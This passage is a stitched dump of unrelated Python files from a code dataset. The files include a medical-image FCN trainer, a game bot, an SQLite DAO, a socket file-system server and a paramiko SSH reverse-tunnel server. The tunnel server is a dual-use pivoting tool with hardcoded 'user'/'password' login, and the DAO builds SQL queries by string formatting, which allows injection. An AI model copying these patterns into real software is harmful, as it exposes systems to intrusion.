name=\"W7\")\n b7 = utils.bias_variable([4096], name=\"b7\")\n conv7 = utils.conv2d_basic(relu_dropout6, W7, b7)\n relu7 = tf.nn.relu(conv7, name=\"relu7\")\n if args.debug:\n utils.add_activation_summary(relu7)\n relu_dropout7 = tf.nn.dropout(relu7, keep_prob=keep_prob)\n image_net['conv7'] = conv7\n image_net['relu7'] = relu7\n image_net['relu_dropout7'] = relu_dropout7\n\n # ================attention=====================\n attention_w1 = utils.weight_variable([1, 1, 4096, args.embedding_dims], name=\"attention_w1\")\n attention_b1 = utils.bias_variable([args.embedding_dims], name=\"attention_b1\")\n attention = utils.conv2d_basic(relu_dropout7, attention_w1, attention_b1)\n attention = tf.nn.tanh(attention)\n attention_w2 = utils.weight_variable([1, 1, args.embedding_dims, 1], name=\"attention_w2\")\n attention_b2 = utils.bias_variable([1], name=\"attention_b2\")\n attention = utils.conv2d_basic(attention, attention_w2, attention_b2)\n attention = tf.nn.softmax(attention)\n relu_dropout7_with_attention = relu_dropout7 * attention\n # ================attention=====================\n\n W8 = utils.weight_variable([1, 1, 4096, args.num_classes], name=\"W8\")\n b8 = utils.bias_variable([args.num_classes], name=\"b8\")\n # conv8 = utils.conv2d_basic(relu_dropout7, W8, b8)\n conv8 = utils.conv2d_basic(relu_dropout7_with_attention, W8, b8)\n image_net['conv8'] = conv8\n # annotation_pred1 = tf.argmax(conv8, dimension=3, name=\"prediction1\")\n\n # now to upscale to actual image size\n deconv_shape1 = image_net[\"pool4\"].get_shape()\n W_t1 = utils.weight_variable([4, 4, deconv_shape1[3].value, args.num_classes], name=\"W_t1\")\n b_t1 = utils.bias_variable([deconv_shape1[3].value], name=\"b_t1\")\n conv_t1 = utils.conv2d_transpose_strided(conv8, W_t1, b_t1, output_shape=tf.shape(image_net[\"pool4\"]))\n fuse_1 = tf.add(conv_t1, image_net[\"pool4\"], name=\"fuse_1\")\n image_net['conv_t1'] = conv_t1\n image_net['fuse_1'] = fuse_1\n\n deconv_shape2 = image_net[\"pool3\"].get_shape()\n W_t2 = utils.weight_variable([4, 4, deconv_shape2[3].value, deconv_shape1[3].value], name=\"W_t2\")\n b_t2 = utils.bias_variable([deconv_shape2[3].value], name=\"b_t2\")\n conv_t2 = utils.conv2d_transpose_strided(fuse_1, W_t2, b_t2, output_shape=tf.shape(image_net[\"pool3\"]))\n fuse_2 = tf.add(conv_t2, image_net[\"pool3\"], name=\"fuse_2\")\n image_net['conv_t2'] = conv_t2\n image_net['fuse_2'] = fuse_2\n\n shape = tf.shape(image)\n deconv_shape3 = tf.stack([shape[0], shape[1], shape[2], args.num_classes])\n W_t3 = utils.weight_variable([16, 16, args.num_classes, deconv_shape2[3].value], name=\"W_t3\")\n b_t3 = utils.bias_variable([args.num_classes], name=\"b_t3\")\n conv_t3 = utils.conv2d_transpose_strided(fuse_2, W_t3, b_t3, output_shape=deconv_shape3, stride=8)\n annotation_pred = tf.argmax(conv_t3, dimension=3, name=\"prediction\")\n image_net['conv_t3'] = conv_t3\n image_net['annotation_pred'] = annotation_pred\n image_net['annotation_pred_4dims'] = tf.expand_dims(annotation_pred, dim=3)\n\n # add maxpooling\n logits = utils.max_pool_nxn(conv_t3, args.image_size)\n logits = tf.squeeze(logits)\n prediction = tf.nn.softmax(logits, name='preds')\n image_net['logits'] = logits\n image_net['prediction'] = prediction\n \n return tf.expand_dims(annotation_pred, dim=3), logits, prediction, image_net\n\n\ndef train(loss_val, var_list):\n optimizer = tf.train.AdamOptimizer(args.learning_rate)\n grads = optimizer.compute_gradients(loss_val, var_list=var_list)\n if args.debug:\n for grad, var in grads:\n utils.add_gradient_summary(grad, var)\n return optimizer.apply_gradients(grads)\n\n\ndef generator(args):\n objs, generators, train_nb_samples_per_epoch = \\\n dataset.get_instance_datagen(args.train_base_path,\n args.labels,\n args.labels_map,\n args.train_nb_per_class,\n args.percent,\n is_training=args.is_training,\n is_shuffle=args.is_shuffle,\n )\n logger.info('========================================================')\n logger.info('train_nb_per_class: {}' .format(args.train_nb_per_class))\n logger.info('========================================================')\n batch_g = dataset.batch_generator(generators, args.batch_size, is_shuffle=args.is_shuffle)\n return batch_g\n\n\ndef _analyze_confusion_matrix(final_confusion_matrix, acc_dic, global_step, num_classes, label_list):\n accuracy_dic = {}\n t_count = 0\n labels_name = label_list\n each_class_total_count = np.sum(final_confusion_matrix, axis=1)\n total_sample_count = np.sum(final_confusion_matrix)\n for label_index in range(num_classes):\n if each_class_total_count[label_index] == 0:\n acc = 0.0\n else:\n acc = final_confusion_matrix[label_index][label_index] / each_class_total_count[label_index]\n accuracy_dic[labels_name[label_index]] = (acc, each_class_total_count[label_index])\n t_count += final_confusion_matrix[label_index][label_index]\n accuracy = t_count / total_sample_count\n\n acc_dic[global_step] = [accuracy]\n for label_name in labels_name:\n acc_dic[global_step].append(accuracy_dic[label_name][0])\n\n\ndef main(args):\n global logger\n if logger is None:\n logger = _get_logger(args.logger_level)\n\n keep_probability = tf.placeholder(tf.float32, name=\"keep_probabilty\")\n image = tf.placeholder(tf.float32, shape=[None, args.image_size, args.image_size, 3], name=\"input_image\")\n label = tf.placeholder(tf.int32, shape=args.batch_size)\n\n pred_annotation, logits, prediction, image_net = inference(args, image, keep_probability)\n pred_labels = tf.argmax(logits, 1)\n\n tf.summary.image(\"input_image\", image, max_outputs=2)\n tf.summary.image(\"pred_annotation\", tf.cast(pred_annotation, tf.uint8), max_outputs=2)\n loss = tf.reduce_mean((tf.nn.sparse_softmax_cross_entropy_with_logits(logits=logits,\n labels=label,\n name=\"entropy\")))\n loss_summary = tf.summary.scalar(\"entropy\", loss)\n\n trainable_var = tf.trainable_variables()\n if args.debug:\n for var in trainable_var:\n utils.add_to_regularization_and_summary(var)\n train_op = train(loss, trainable_var)\n\n logger.info(\"Setting up summary op...\")\n summary_op = tf.summary.merge_all()\n\n \n sess = tf.Session()\n\n logger.info(\"Setting up Saver...\")\n saver = tf.train.Saver(max_to_keep=0)\n\n # create two summary writers to show training loss and validation loss in the same graph\n # need to create two folders 'train' and 'validation' inside args.logs_dir\n train_writer = tf.summary.FileWriter(args.logs_dir + '/train', sess.graph)\n validation_writer = tf.summary.FileWriter(args.logs_dir + '/validation')\n\n sess.run(tf.global_variables_initializer())\n\n if args.pretrained_model_checkpoint_path:\n logger.info('model path: {}' .format(args.pretrained_model_checkpoint_path))\n saver.restore(sess, args.pretrained_model_checkpoint_path)\n logger.info('{}: Pre-trained model restored from {}' .format(\n datetime.now(), args.pretrained_model_checkpoint_path))\n global_step = int(args.pretrained_model_checkpoint_path.split('/')[-1].split('-')[-1])\n logger.info('Succesfully loaded model from {} at step={}.' .format(\n args.pretrained_model_checkpoint_path, global_step))\n else:\n ckpt = tf.train.get_checkpoint_state(args.logs_dir)\n if ckpt and ckpt.model_checkpoint_path:\n saver.restore(sess, ckpt.model_checkpoint_path)\n global_step = int(ckpt.model_checkpoint_path.split('-')[-1])\n logger.info(ckpt.model_checkpoint_path)\n logger.info(\"Model restored...\")\n else:\n global_step = 0\n\n final_confusion_matrix = np.zeros((args.num_classes, args.num_classes))\n if args.mode == \"train\":\n train_batch_generator = generator(args)\n for step in range(global_step, args.max_iteration):\n start_time = time.time()\n batch_images, batch_labels, batch_indexes = next(train_batch_generator)\n feed_dict = {image: batch_images, label: batch_labels, keep_probability: 0.85}\n\n _, gts, preds, output, train_loss, summary_str = sess.run([train_op, label, pred_labels, logits, loss, loss_summary], feed_dict=feed_dict)\n duration = time.time() - start_time\n final_confusion_matrix += metrics.confusion_matrix(gts, preds, labels=range(args.num_classes))\n acc_dic = {}\n _analyze_confusion_matrix(final_confusion_matrix, acc_dic, step, args.num_classes, args.labels_for_confusion)\n\n if step % 50 == 0:\n examples_per_sec = args.batch_size / float(duration)\n format_str = \"{}: step {}, loss = {:.7} ({:.1} examples/sec; {:.3} sec/batch)\" .format(\n datetime.now(), step, train_loss, examples_per_sec, duration)\n logger.info(format_str)\n train_writer.add_summary(summary_str, step)\n\n if step % 4000 == 0:\n saver.save(sess, args.logs_dir + \"model.ckpt\", step)\n summary = tf.Summary()\n summary.ParseFromString(sess.run(summary_op, feed_dict=feed_dict))\n summary.value.add(tag='fcn combination/total_acc', simple_value=acc_dic[step][0])\n logger.info('=================train result==================')\n logger.info('train total_acc:' .format(acc_dic[step][0]))\n labels_name = args.labels_for_confusion\n for index, label_name in enumerate(labels_name):\n summary.value.add(tag='fcn combination/' + label_name, simple_value=acc_dic[step][index + 1])\n train_writer.add_summary(summary, step)\n logger.info('train {}_acc: {}' .format(label_name, acc_dic[step][index + 1]))\n logger.info('train confusion_matrix:')\n logger.info(final_confusion_matrix)\n logger.info('===============================================')\n final_confusion_matrix = np.zeros((args.num_classes, args.num_classes))\n\n\n elif args.mode == \"visualize\":\n pass\n # valid_images, valid_annotations = validation_dataset_reader.get_random_batch(args.batch_size)\n # pred = sess.run(pred_annotation, feed_dict={image: valid_images, annotation: valid_annotations,\n # keep_probability: 1.0})\n # valid_annotations = np.squeeze(valid_annotations, axis=3)\n # pred = np.squeeze(pred, axis=3)\n\n # for step in range(args.batch_size):\n # utils.save_image(valid_images[step].astype(np.uint8), args.logs_dir, name=\"inp_\" + str(5+step))\n # utils.save_image(valid_annotations[step].astype(np.uint8), args.logs_dir, name=\"gt_\" + str(5+step))\n # utils.save_image(pred[step].astype(np.uint8), args.logs_dir, name=\"pred_\" + str(5+step))\n # logger.info(\"Saved image: %d\" % step)\n\n\nif __name__ == \"__main__\":\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = \"3\"\n logger = _get_logger(logging.INFO)\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--logger_level\", type=str, default=logging.INFO, help=\"logging level\")\n parser.add_argument(\"--train_base_path\", type=str, required=False, help=\"json base folder path\")\n parser.add_argument(\"--model_url\", type=str, \n default='http://www.vlfeat.org/matconvnet/models/beta16/imagenet-vgg-verydeep-19.mat', \n help=\"vgg model url\")\n parser.add_argument(\"--model_dir\", type=str, default=\"Model_zoo/\", help=\"Path to vgg model mat\")\n parser.add_argument(\"--data_dir\", type=str, required=False, help=\"path to dataset\")\n parser.add_argument(\"--logs_dir\", type=str, required=False, help=\"path to logs directory\")\n parser.add_argument(\"--learning_rate\", type=float, default=1e-4, help=\"numbers of threads for data queue\")\n parser.add_argument(\"--percent\", type=float, default=0.2, help=\"the max step of training\")\n parser.add_argument(\"--embedding_dims\", type=int, default=512, help=\"dims for attention embedding\")\n parser.add_argument(\"--max_iteration\", type=int, default=int(1e6 + 1), help=\"max iteration for training\")\n parser.add_argument(\"--num_classes\", type=int, default=2, help=\"class number\")\n parser.add_argument(\"--image_size\", type=int, default=224, help=\"class number\")\n parser.add_argument(\"--is_training\", type=bool, default=True, help=\"Mode train/ test/ visualize\")\n parser.add_argument(\"--is_shuffle\", type=bool, default=False, help=\"shuffle mode: True/ False\")\n parser.add_argument(\"--debug\", type=bool, default=False, help=\"Debug mode: True/ False\")\n parser.add_argument(\"--mode\", type=str, default='train', help=\"Mode train/ test/ visualize\")\n parser.add_argument(\"--pretrained_model_checkpoint_path\", type=str, required=False, help=\"pretrained model\")\n args, unparsed = parser.parse_known_args()\n\n args.labels_map = {\n 'high_ad': np.int32(1),\n 'mid_ad': np.int32(1),\n 'low_ad': np.int32(1),\n 'mucinous_ad': np.int32(1),\n 'ring_ad': np.int32(1),\n 'mixed_ad': np.int32(1),\n 'inflammation': np.int32(0),\n 'lymphocyte': np.int32(0),\n 'fat': np.int32(0),\n 'smooth_muscle': np.int32(0),\n 'normal_mucosa': np.int32(0),\n 'neutrophil': np.int32(0),\n 'plasmacyte': np.int32(0),\n 'histocyte': np.int32(0),\n 'eosnophils': np.int32(0)\n }\n\n args.labels = {\n 'high_ad': 'high_ad',\n 'mid_ad': 'mid_ad',\n 'low_ad': 'low_ad',\n 'mucinous_ad': 'mucinous_ad',\n 'ring_ad': 'ring_ad',\n 'mixed_ad': 'mixed_ad',\n 'inflammation': 'inflammation',\n 'lymphocyte': 'lymphocyte',\n 'fat': 'fat',\n 'smooth_muscle': 'smooth_muscle',\n 'normal_mucosa': 'normal_mucosa',\n 'neutrophil': 'neutrophil',\n 'plasmacyte': 'plasmacyte|histocyte|eosnophils'\n }\n\n args.labels_for_confusion = ['normal', 'tumor']\n args.train_nb_per_class = [1, 14, 7, 4, 1, 5, 10, 3, 5, 8, 4, 1, 1]\n args.batch_size = sum(args.train_nb_per_class)\n\n args.train_base_path = \"/mnt/disk_share/data/colon/colon_160_224/\"\n args.logs_dir = \"./logs_colon/20191218_test/\"\n\n main(args)\n","sub_path":"FCN.py","file_name":"FCN.py","file_ext":"py","file_size_in_byte":18355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"405557490","text":"\r\n'''\r\n调用流程分析里的模块进行战斗\r\n'''\r\n\r\nimport y_functions2 as yf2\r\nfrom settings import Settings\r\n \r\ny_settings = Settings()\r\n#导入准备模板\r\nt_start, t_end, n = yf2.begin()\r\n#n为计划刷御魂次数,通过begin函数输入\r\nfor k in range(n):\r\n \r\n print('开始刷第{}次御魂'.format(k + 1))\r\n \r\n #检测挑战模板\r\n yf2.matchT(t_start, y_settings.start_x, y_settings.start_y)\r\n \r\n #等待战斗最后结尾点三下跳过动画\r\n yf2.endclick(y_settings)\r\n print('结尾点击三次')\r\n \r\n #检测结束模板\r\n yf2.matchT(t_end, y_settings.end_x, y_settings.end_y)\r\n \r\nprint('一共刷完了{}次御魂'.format(n))\r\n \r\n","sub_path":"gameautoplay/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"50653907","text":"#\n# @lc app=leetcode.cn id=665 lang=python3\n#\n# [665] 非递减数列\n#\n\n# @lc code=start\nclass Solution:\n def checkPossibility(self, nums: List[int]) -> bool:\n count = 0\n for i in range(1, len(nums)):\n if nums[i] < nums[i-1]:\n count += 1\n if count > 1: return False\n if i == 1 or nums[i] >= nums[i-2]:\n nums[i-1] = nums[i]\n else:\n nums[i] = nums[i-1]\n return True\n# @lc code=end\n","sub_path":"source/665.非递减数列.py","file_name":"665.非递减数列.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"176384133","text":"import io, os\nfrom numpy import random\nfrom google.cloud import vision_v1\nfrom pillow_utility import draw_borders, Image\nimport pandas as pd\nfrom google.cloud.vision_v1 import types\n\nos.environ['GOOGLE_APPLICATION_CREDENTIALS'] = r\"property-detection.json\"\nclient = vision_v1.ImageAnnotatorClient()\nfile_name = 'team3.jpg'\nimage_path = os.path.join('.\\Images', file_name)\n\nwith io.open(image_path, 'rb') as image_file:\n content = image_file.read()\n\nimage = vision_v1.types.Image(content=content)\nresponse = client.object_localization(image=image)\nlocalized_object_annotations = response.localized_object_annotations\n\n# crop_hints_params = vision_v1.types.CropHintsParams(aspect_ratios=aspect_ratios)\n\npillow_image = Image.open(image_path)\ndf = pd.DataFrame(columns=['name', 'score'])\nfor obj in localized_object_annotations:\n df = df.append(\n dict(\n name=obj.name,\n score=obj.score\n ),\n ignore_index=True)\n\n r, g, b = random.randint(150, 255), random.randint(\n 150, 255), random.randint(150, 255)\n\n draw_borders(pillow_image, obj.bounding_poly, (r, g, b),\n pillow_image.size, obj.name, obj.score)\n#\n# print(df)\n# pillow_image.show()\n#\nfor df1 in df:\n array= df.__array__()\n # print(array)\n array2='House'or 'Door' or 'Pillow' or 'Couch' or 'Television' or 'Furniture' or 'Bed'\n array1=array2 in array\n print(array1)\n\n exit()\n\n\n# for df.house in df.house:\n# print(df.house)\n# if df.house == df.house:\n# print(df.house)\n# exit()\n# else:\n# print('false')\n# exit()\n","sub_path":"detection_api.py","file_name":"detection_api.py","file_ext":"py","file_size_in_byte":1601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"352651671","text":"import sqlite3\n\n# Dao : Data Access Object\nclass SqliteAddressDao:\n \"Sqlite에 주소록 입출력을 담당하는 클래스\"\n def __init__(self,filename):\n self.conn = sqlite3.connect(filename)\n self.cursor = self.conn.cursor()\n\n def __del__(self):\n self.cursor.close()\n self.conn.close()\n\n def intputAddress(self,tablename,address):\n sql = \"\"\"\n INSERT INTO {0}(name,age,addr) VALUES('{1}','{2}','{3}')\n \"\"\".format(tablename,address.name,address.age,address.addr)\n self.cursor.execute(sql)\n self.conn.commit()\n\n def searchAddress(self,tableName, name):\n sql = \"\"\"\n SELECT * FROM {0} WHERE name = '{1}'\n \"\"\".format(tableName,name)\n self.cursor.execute(sql)\n return self.cursor.fetchone()\n\n def deleteAddress(self, tableName, name):\n sql = \"\"\"\n SELECT * FROM {0} WHERE name = '{1}'\n \"\"\".format(tableName, name)\n self.cursor.execute(sql)\n self.conn.commit()\n\n def updateAddress(self,tableName,fname,address):\n sql = \"\"\"\n UPDATE {0} SET name='{1}', age='{2}', addr='{3}'\n WHERE name='{4}'\n \"\"\".format(tableName, address.name, address.age, address.addr, fname)\n self.cursor.execute(sql)\n self.conn.commit()\n\n def searchAllAddress(self,tableName):\n sql = \"\"\"\n SELECT * FROM {0}\n \"\"\".format(tableName)\n self.cursor.execute(sql)\n return self.cursor.fetchall()","sub_path":"Project/addressClass/dao.py","file_name":"dao.py","file_ext":"py","file_size_in_byte":1510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"319578124","text":"import os\nimport pickle\nimport threading\nimport socket as sc\n\n\n\n# initialization code\ndef init():\n global maxMetaDataSize, metaData, SSD, voids, pwd, metas, lock\n\n maxMetaDataSize = 2**10\n\n # loading directory structure\n if os.path.exists('sample.data'):\n SSD = open('sample.data', 'rb+')\n metaData = pickle.loads(SSD.read(maxMetaDataSize))\n else:\n SSD = open('sample.data', 'wb+')\n metaData = {\n 0: [],\n 1: {\n '.': None,\n }\n }\n metaData[1]['~'] = metaData[1]\n save()\n \n # setting root and present working directory\n voids = metaData[0]\n pwd = metaData[1]\n metas = ('~', '.')\n lock = threading.Lock()\n\n# code for serialization and saving\ndef save():\n\n SSD.seek(0)\n SSD.write(b' ' * maxMetaDataSize)\n SSD.seek(0)\n SSD.write(pickle.dumps(metaData))\n SSD.seek(maxMetaDataSize)\n\n\n\n\n\n# low level functions\n\ndef list_(curr):\n return [ name for name in curr if name not in metas ]\n\ndef path_(curr):\n \n if curr['.'] is None: return '~'\n\n for name in curr['.']:\n if curr['.'][name] is curr:\n return path_(curr['.']) + f'/{name}'\n\ndef dir_(curr, path):\n\n for name in path.split('/'): curr = curr[name]\n assert type(curr) is dict, f'{path}: no such directory exists'\n\n return curr\n\ndef create_(curr, name, isdir):\n\n if name in metas: return\n\n curr[name] = {\n '~': dir_(curr, '~'), \n '.': curr,\n \n } if isdir else [] \n\ndef dealloc_(name, curr):\n\n if type(curr) is list:\n voids.extend(curr)\n return\n\n for name in list_(curr): dealloc_(name, curr[name])\n\ndef tree_(curr, depth= 1):\n r = ''\n if type(curr) is list: return f': {curr}' \n\n for name in list_(curr):\n r += f'\\n{ \" \"*depth }{ name }' \n r += tree_(curr[name], depth+1)\n\n return r\n\n\n# thread function\ndef handle_client(client):\n\n pwd = metaData[1]\n\n\n # system functions\n\n def quit():\n save(); client.close(); exit()\n\n def help():\n return '''\n command |argument |usage\n\n rm [file/folder path] removes file or directory\n\n touch [file path] creates file\n\n mkdir [directory name] creates directory\n\n mv [source directory] move file\n [target directory] \n\n rd [file path] read file\n\n wrt [file path] write to file\n [input data] \n\n cd [path] change working directory\n\n pwd displays the present working directory\n\n ls list files and folders in current directory\n\n quit exit the file system\n '''\n\n def chdir(path):\n nonlocal pwd\n\n curr = dir_(pwd, path)\n pwd = curr\n\n return ''\n\n def create1(name):\n create_(pwd, name, False)\n return ''\n\n def create2(name):\n create_(pwd, name, True)\n return ''\n\n def move(name, path): # assert statement\n \n curr = dir_(pwd, path)\n assert name in pwd, f'{name}: no such directory'\n curr[name] = pwd[name]\n del pwd[name]\n\n return ''\n\n def delete(name): # assert statement\n\n assert name in pwd, f'{name}: no such directory'\n dealloc_(name, pwd[name])\n del pwd[name]\n\n return ''\n\n def tree():\n return '~' + tree_(dir_(pwd, '~'))\n\n def path():\n return path_(pwd)\n\n def lis():\n return ' '.join(list_(pwd))\n\n def read(path, start= 0, size= -1):\n\n start = int(start)\n size = int(size)\n \n f = File(path)\n f.seek(start)\n r = f'\\n> {f.read(size)} \\n'\n f.close()\n\n return r\n\n def write(path, data, at= 0):\n\n at = int(at)\n\n f = File(path)\n f.seek(at)\n f.write(data)\n f.close()\n\n return ''\n\n def append(path, data, at= -1): \n\n at = int(at)\n\n f = File(path)\n f.seek(at)\n f.write(data, overwrite= False)\n f.close()\n\n return ''\n\n\n # file class \n\n class File():\n\n def __init__(self, path):\n\n\n tmp = path.rsplit('/', 1)\n\n self.name = tmp[-1]\n self.dir = pwd if len(tmp) == 1 else dir_(pwd, tmp[0])\n self.ptr = 0\n self.data = b'' \n self.ptrs = self.dir[self.name]\n\n assert type(self.ptrs) is list, f'{self.name}, is not a file'\n\n tmp = self.ptrs.copy()[::-1]\n while tmp:\n i = tmp.pop()\n s = tmp.pop()\n\n SSD.seek(i)\n self.data += SSD.read(s)\n\n\n def size(self):\n return len(self.data)\n\n def seek(self, pos):\n\n if not ~pos: pos = self.size()\n assert 0 <= pos <= self.size(), f'File pointer out of range. File size is {self.size()}'\n self.ptr = pos\n\n def tell(self):\n return self.ptr\n\n def read(self, size= -1):\n\n i = self.ptr\n j = self.ptr + size\n\n if not ~size: j = self.size()\n\n self.seek(j)\n return self.data[i: j].decode()\n\n def write(self, data, overwrite= True):\n\n end = min(self.size(), self.ptr + len(data)) #if overwrite else self.ptr\n\n data = data.encode()\n self.data = self.data[:self.ptr] \\\n + data \\\n + self.data[end:]\n\n def append(self, data):\n\n data = data.encode()\n self.data = self.data[:self.ptr] \\\n + data \\\n + self.data[self.ptr:]\n \n def close(self):\n\n ptrs = self.ptrs\n data = self.data\n temp = []\n\n j = 0\n\n while data:\n\n i = SSD.seek(0, 2)\n m = len(data)\n\n if voids:\n i = voids.pop(0)\n m = voids.pop(0)\n\n elif ptrs:\n i = ptrs.pop(0)\n m = ptrs.pop(0)\n\n d = data[:m]\n data = data[m:]\n\n j = SSD.seek(i)\n n = SSD.write(d)\n temp.extend([j, n])\n\n if n < m: voids.extend([i, m-n])\n\n self.dir[self.name] = temp\n del self\n\n\n\n switch = {\n '' : lambda: '',\n 'quit' : quit,\n 'pwd' : path,\n 'cd' : chdir,\n 'ls' : lis,\n 'touch' : create1,\n 'mkdir' : create2,\n 'rm' : delete,\n 'mv' : move,\n 'rd' : read,\n 'wrt' : write,\n 'apd' : append,\n 'tree' : tree,\n 'help' : help,\n }\n\n\n\n username = client.recv(100).decode()\n\n while True:\n\n command = client.recv(100).decode()\n if not command: break\n\n stmt = command.replace('\\n', '').split(' ')\n case = stmt[0]\n args = stmt[1:]\n\n\n if case in switch: \n with lock: \n try: \n r = switch[case](*args); save()\n except Exception as e:\n client.send('error\\n'.encode())\n continue\n\n else:\n r = f'{case}: command not found'\n\n r = ' ' if not r else r\n \n client.send(r.encode())\n\n with lock: save()\n\n del threads[client]\n\n\n\ndef main():\n\n init()\n\n global threads, lock\n\n threads = {}\n lock = threading.Lock()\n\n PORT = 1095\n # IP = sc.gethostname()\n IP = '192.168.10.17'\n ADDR = IP, PORT\n\n main = sc.socket()\n main.bind(ADDR)\n main.listen()\n\n while True:\n try:\n client, _ = main.accept()\n\n threads[client] = threading.Thread(target= handle_client, args= (client,))\n threads[client].start()\n\n\n except Exception as e:\n main.close()\n save()\n exit()\n\n\nif __name__ == '__main__':\n\n main()","sub_path":"v3/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":8260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"269702602","text":"\"\"\"\nDesarrolle un programa que realice una encuesta a N personas sobre cual es su pelicula favorita.\nEl programa formara un diccionario donde cada clave represete la pelicula y el valor sea la frecuencia\nde esa pelicula\n\"\"\"\n\nfrom json import dumps\n\ndic = {\n\n}\n\nn = int(input(\"Ingrese el numero de personas: \"))\n\nfor i in range(n):\n print(f\"Persona {i+1}\")\n pelicula = input(\"Ingresa tu pelicula: \")\n\n if pelicula in dic.keys():\n dic[pelicula] += 1\n\n else:\n dic.update({pelicula: 1})\n\nprint(dumps(dic, indent=4))\n","sub_path":"2021-1/s11/ej4.py","file_name":"ej4.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"598988714","text":"import paramiko\nimport socket\nimport threading\nimport select\nimport sys\n\nhost_key = paramiko.RSAKey(filename='ch2_ssh_server.key')\nserver_address = sys.argv[1]\nserver_port = int(sys.argv[2])\n\n#the server interface. Note that the socket is created here when the client requests\n#forwarded connections\nclass Server(paramiko.ServerInterface):\n def __init__(self):\n self.event = threading.Event()\n def check_auth_password(self, username, password):\n if username == \"user\" and password == \"password\":\n return paramiko.AUTH_SUCCESSFUL\n return paramiko.AUTH_FAILED\n def check_port_forward_request(self, addr, port):\n self.listen = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.listen.bind((\"127.0.0.1\", int(port)))\n self.listen.listen(1)\n return self.listen.getsockname()[1]\n def cancel_port_forward_request(self, addr, port):\n self.listen.close()\n self.listen = None\n def check_channel_request(self, kind, chanid):\n if kind in [\"forwarded-tcpip\", \"session\"]:\n return paramiko.OPEN_SUCCEEDED\n return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED\n\n#we create a server ssh transport with the client socket and start the ssh server.\n#we create 2 channels: 1- session channel and 2- tunneled forward channel. The client requests\n#the session channel. The server opens the forward channel after we accept the client's\n#request to forward connections. We then read the data from the socket created locally for\n#this tunneled forwarded connection and relay to the forward channel and vice versa\ndef client_handler(client_socket):\n session_transport = paramiko.Transport(client_socket)\n session_transport.add_server_key(host_key)\n server = Server()\n try:\n session_transport.start_server(server=server)\n except SSHException as err:\n print(f\"[!] SSH Negotiation Failed\")\n sys.exit(1)\n\n print(f\"[*] SSH Negotiation Success\")\n\n print(\"[*] Authenticating\")\n session_chan = session_transport.accept(20)\n\n if session_chan == None or not session_chan.active:\n print(\"[!] Failure - SSH channel not active\")\n session_transport.close()\n else:\n print(\"[*] Success - SSH channel active\")\n while session_chan.active:\n try:\n try:\n client_tunnel_socket, addr = server.listen.accept()\n except:\n print(\"[*] Closing associated channels\")\n session_transport.close()\n break\n print(f\"[*] Incoming tunneled conenction from {addr[0]}:{addr[1]}\")\n tunnel_chan = session_transport.open_forwarded_tcpip_channel(client_tunnel_socket.getsockname(), client_tunnel_socket.getpeername())\n while True:\n r, w, x = select.select([client_tunnel_socket, tunnel_chan], [], [])\n if client_tunnel_socket in r:\n data = client_tunnel_socket.recv(1024)\n if len(data) == 0:\n break\n print(f\"[*] Sending {len(data)} bytes via SSH Channel\")\n tunnel_chan.send(data)\n if tunnel_chan in r:\n data = tunnel_chan.recv(1024)\n if len(data) == 0:\n break\n print(f\"[*] Sending {len(data)} bytes via TCP Channel\")\n client_tunnel_socket.send(data)\n except (paramiko.SSHException, Exception) as err:\n print(\"[*] \", str(err))\n try:\n print(\"[*] Closing associated sockets and channels\")\n client_tunnel_socket.close()\n session_transport.close()\n except:\n pass\n\n#bind the server to arguments parameters: address and port\nserver_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ntry:\n server_socket.bind((server_address, server_port))\nexcept:\n print(\"[!] Bind Error\")\n sys.exit(1)\n\nprint(f\"[*] Bind Success {server_address}:{server_port}\")\nserver_socket.listen(20)\n#Keep listening to incoming connections and spawn a thread to handle it\nwhile True:\n client_socket, addr = server_socket.accept()\n print(f\"[*] Incoming TCP connection from {addr[0]}:{addr[1]}\")\n client_thread = threading.Thread(target=client_handler, args=(client_socket,))\n client_thread.start()","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":4505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"468004955","text":"import datetime\nfrom collections import defaultdict, deque\nfrom contextlib import ExitStack\nimport tensorflow as tf\n\nimport baselines.common.tf_util as U\nfrom playground.maml.maml_tf.meta_rl_tasks import ALLOWED_ENVS, MetaRLTasks\nimport numpy as np\n\nfrom ml_logger import logger\nfrom playground.maml.maml_tf import config\nfrom playground.maml.maml_tf.e_maml_ge import E_MAML\nfrom playground.maml.maml_tf.trainer import Trainer\n\nind = 0\ncache = defaultdict(lambda: deque(maxlen=config.Reporting.plot_smoothing))\nbatch_smoothed = defaultdict(list)\n# batch_data = defaultdict(list)\nbatch_indices = defaultdict(list)\n\n\ndef make_plot_fn(dash):\n def plot_fn(dump=False):\n global ind\n ind += 1\n slice = logger.Logger.CURRENT.name2val\n keys = [k.replace('_', \" \") for k in slice.keys()]\n\n for key, v in zip(keys, slice.values()):\n cache[key].append(v)\n batch_smoothed[key].append(np.mean(cache[key]))\n # batch_data[key].append(v)\n batch_indices[key].append(ind)\n\n if dump or ind % config.Reporting.plot_interval == config.Reporting.plot_interval - 1:\n Y = np.array([vs for vs in batch_smoothed.values()]).T\n X = np.array([vs for vs in batch_indices.values()]).T\n dash.append(config.RUN.log_directory, 'line', Y, X=X, opts=dict(legend=keys))\n batch_smoothed.clear()\n # batch_data.clear()\n batch_indices.clear()\n\n return plot_fn\n\n\ndef run_e_maml():\n # print(config.RUN.log_directory)\n # if config.G.run_mode == \"e_maml\":\n # print('{G.inner_alg} 